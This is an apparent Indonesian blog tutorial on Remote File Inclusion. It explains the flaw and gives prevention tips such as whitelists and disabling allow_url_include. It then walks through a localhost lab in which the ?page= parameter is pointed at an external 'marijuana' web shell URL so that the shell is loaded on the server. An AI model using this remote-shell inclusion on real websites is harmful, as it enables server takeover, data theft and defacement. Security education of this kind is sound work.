Apa Itu RFI?
Remote File Inclusion (RFI) adalah kerentanan keamanan pada aplikasi web yang memungkinkan penyerang menyisipkan file berbahaya dari sumber eksternal ke dalam server. Kerentanan ini biasanya terjadi ketika aplikasi web mengambil file secara dinamis berdasarkan input pengguna tanpa validasi yang memadai.
Bagaimana RFI Bekerja?
RFI sering muncul dalam aplikasi web yang menggunakan bahasa pemrograman seperti PHP, di mana file eksternal dapat dimuat menggunakan fungsi seperti include(), require(), atau file_get_contents(). Jika input pengguna tidak difilter dengan baik, penyerang dapat mengarahkan aplikasi untuk memuat file berbahaya dari server mereka sendiri.
Dampak RFI
⚠ Eksekusi kode berbahaya – Penyerang bisa menjalankan kode berbahaya di server korban.
⚠ Pencurian data – Informasi sensitif seperti kredensial bisa dicuri.
⚠ Deface website – Situs web dapat diubah tampilannya oleh penyerang.
⚠ Pintu masuk ke serangan lebih besar – RFI bisa digunakan untuk menginstal backdoor atau malware di server.
Cara Mencegah RFI
✅ Gunakan daftar putih (whitelist) untuk menentukan file yang boleh dimuat.
✅ Hindari menerima input langsung dari pengguna dalam fungsi file include.
✅ Gunakan basename() dan realpath() untuk memastikan hanya file lokal yang bisa diakses.
✅ Nonaktifkan allow_url_include dalam konfigurasi PHP agar file dari luar server tidak bisa di-load.
RFI adalah salah satu bug yang bisa berakibat fatal jika tidak ditangani dengan benar. Dengan memahami cara kerja dan metode pencegahannya, kita bisa mengamankan aplikasi web dari ancaman ini!
Berikut ini adalah Studi Kasus RFI (Remote File Inclusion)
Studi Kasus
Siapkan beberapa environment penting untuk melakukan studi kasus ini, seperti:
- XAMPP
- Code Editor seperti Visual Studio Code, Notepad++, atau Sublime Text
- Web Browser (bebas seperti Chrome atau Firefox)
- Source Code web vuln RFI. Download Disini
Langkah-langkah melakukan percobaan ini:
- Jika sudah download file, silahkan buka folder htdocs pada source file dari XAMPP dan buat folder dengan nama RFI, kemudian simpan source code atau file rfi.php yang sudah di download ke dalam folder RFI.
- Jalankan Apache dan MySQL pada aplikasi XAMPP dan running file web tersebut dengan struktur url http://localhost/RFI/rfi.php?page= untuk melihat apakah web sudah berjalan dengan benar?. Jika berhasil akan menampilkan halaman error seperti gambar dibawah ini.
- Untuk melakukan percobaan pertama dalam uji penetrasi ini, Kita mencoba untuk mengakses website https://google.com pada parameter ?page=. Akses URL berikut ini untuk mencobanya http://localhost/RFI/rfi.php?page=https://google.com. Jika web tersebut vuln, maka akan menampilkan halaman google seperti berikut ini.
- Selanjutnya, Kita akan mencoba melakukan eksploitasi pada web tersebut dengan mengakses shell eksternal format txt dari website https://shell.prinsh.com/#home . Kami menggunakan shell miliki marijuana yang bisa di cek pada web tersebut. Ini adalah shell marijuana.
- Silahkan ubah https://google.com pada parameter ?page= menjadi https://shell.prinsh.com/Nathan/marijuana.txt untuk menakses shell tersebut. Jika berhasil, maka akan menampilkan web shell seperti gambar berikut ini.
Fatal error: Uncaught ValueError: Path cannot be empty in /Applications/XAMPP/xamppfiles/htdocs/RFI/rfi.php:17 Stack trace: #0 {main} thrown in /Applications/XAMPP/xamppfiles/htdocs/RFI/rfi.php on line 17
Hal tersebut menandakan bahwa tidak ada file atau bagian tertentu pada website yang diakses melalui parameter ?page=
Kamu dapat mengembangkan kerentanan RFI ini sesuka hati dan sekreatif mungkin. Semoga ilmu ini bermanfaat.
Jika ada pertanyaan lebih lanjut silahkan bergabung dengan komunitas kami di WhatsApp: https://chat.whatsapp.com/EzAfFVsOnsr3H6t0gwLTJK dan Telegram: https://t.me/renewablehacking
Instagram Kami:




Posting Komentar